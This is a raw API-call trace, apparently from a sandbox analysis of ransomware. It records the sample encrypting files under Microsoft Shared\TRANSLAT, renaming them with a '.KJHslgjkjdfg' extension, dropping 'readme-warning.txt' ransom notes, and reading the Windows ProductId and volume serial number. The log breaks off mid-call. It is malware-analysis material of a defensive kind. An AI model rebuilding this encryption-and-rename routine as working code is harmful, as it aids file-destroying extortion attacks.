CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0179.189] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0179.189] GetProcessHeap () returned 0x990000 [0179.189] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0179.189] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0179.189] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.189] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0179.192] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0179.192] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0179.192] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0179.192] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0179.192] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0179.193] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0179.193] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0179.193] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.193] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa5c00, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xa5c00, lpOverlapped=0x0) returned 1 [0179.206] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xa5c00, dwBufLen=0xa5c00 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xa5c00) returned 1 [0179.214] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.214] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa5c00, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xa5c00, lpOverlapped=0x0) returned 1 [0179.217] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.217] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xa5cc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.217] SetEndOfFile (hFile=0x12c) returned 1 [0179.220] GetProcessHeap () returned 0x990000 [0179.220] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0179.220] GetProcessHeap () returned 0x990000 [0179.220] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0179.220] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex.kjhslgjkjdfg")) returned 1 [0179.221] CloseHandle (hObject=0x12c) returned 1 [0179.221] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 0 [0179.221] GetProcessHeap () returned 0x990000 [0179.221] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0179.221] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0179.222] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0179.222] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.222] GetProcessHeap () returned 0x990000 [0179.222] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0179.222] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0179.222] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0179.222] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.222] GetProcessHeap () returned 0x990000 [0179.222] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9fd9f0 [0179.222] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0179.222] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9fd9f0, pdwDataLen=0x29dee20 | out: pbData=0x9fd9f0, pdwDataLen=0x29dee20) returned 1 [0179.222] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.222] GetProcessHeap () returned 0x990000 [0179.222] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0179.222] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0179.222] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0179.222] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.222] GetProcessHeap () returned 0x990000 [0179.222] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0179.222] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0179.222] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0179.222] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.222] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0179.223] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0179.223] RegCloseKey (hKey=0x12c) returned 0x0 [0179.223] GetProcessHeap () returned 0x990000 [0179.223] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0179.223] GetProcessHeap () returned 0x990000 [0179.223] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0179.223] GetProcessHeap () returned 0x990000 [0179.223] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0179.223] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0179.223] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0179.223] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.223] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0179.223] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0179.223] GetProcessHeap () returned 0x990000 [0179.223] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0179.223] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0179.223] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0179.223] GetProcessHeap () returned 0x990000 [0179.223] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0179.223] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\readme-warning.txt") returned 79 [0179.224] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0179.227] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0179.228] CloseHandle (hObject=0x12c) returned 1 [0179.228] GetProcessHeap () returned 0x990000 [0179.228] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9fd9f0 | out: hHeap=0x990000) returned 1 [0179.228] GetProcessHeap () returned 0x990000 [0179.228] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0179.228] GetProcessHeap () returned 0x990000 [0179.228] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0179.228] GetProcessHeap () returned 0x990000 [0179.228] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0179.228] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0179.229] GetProcessHeap () returned 0x990000 [0179.229] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0179.229] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FRAR", cAlternateFileName="")) returned 1 [0179.229] GetProcessHeap () returned 0x990000 [0179.229] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8a) returned 0x9b0940 [0179.229] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0179.230] GetProcessHeap () returned 0x990000 [0179.230] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0179.230] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0179.230] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 1 [0179.230] GetProcessHeap () returned 0x990000 [0179.230] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x28c) returned 0x9b1eb0 [0179.230] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0179.230] GetProcessHeap () returned 0x990000 [0179.230] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0179.230] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0179.230] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0179.230] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x2, lpOverlapped=0x0) returned 1 [0179.233] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0179.233] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0179.233] GetProcessHeap () returned 0x990000 [0179.233] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0179.233] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0179.233] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.233] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0179.233] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0179.233] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0179.233] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0179.233] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0179.233] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0179.234] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0179.234] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0179.234] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.234] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x100000, lpOverlapped=0x0) returned 1 [0179.257] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x100000, dwBufLen=0x100000 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x100000) returned 1 [0179.267] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.267] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x100000, lpOverlapped=0x0) returned 1 [0179.270] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x166c84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.270] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0179.271] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x100000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.271] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x66bae, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x66bae, lpOverlapped=0x0) returned 1 [0179.286] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x66bb0, dwBufLen=0x66bb0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x66bb0) returned 1 [0179.291] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x100000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.291] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x66bb0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x66bb0, lpOverlapped=0x0) returned 1 [0179.293] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.293] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x166c84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.293] SetEndOfFile (hFile=0x12c) returned 1 [0179.298] GetProcessHeap () returned 0x990000 [0179.298] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0179.298] GetProcessHeap () returned 0x990000 [0179.298] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0179.298] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its.kjhslgjkjdfg")) returned 1 [0179.325] CloseHandle (hObject=0x12c) returned 1 [0179.325] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 0 [0179.325] GetProcessHeap () returned 0x990000 [0179.325] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0179.325] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0179.326] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0179.326] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.326] GetProcessHeap () returned 0x990000 [0179.326] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0179.326] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0179.326] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0179.326] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.326] GetProcessHeap () returned 0x990000 [0179.326] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9fd9f0 [0179.326] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0179.326] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9fd9f0, pdwDataLen=0x29dee20 | out: pbData=0x9fd9f0, pdwDataLen=0x29dee20) returned 1 [0179.326] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.326] GetProcessHeap () returned 0x990000 [0179.326] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0179.326] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0179.326] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0179.326] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.326] GetProcessHeap () returned 0x990000 [0179.326] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0179.326] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0179.326] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0179.326] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.327] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0179.327] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0179.327] RegCloseKey (hKey=0x12c) returned 0x0 [0179.327] GetProcessHeap () returned 0x990000 [0179.327] HeapFree (in: hHeap=0x990000, 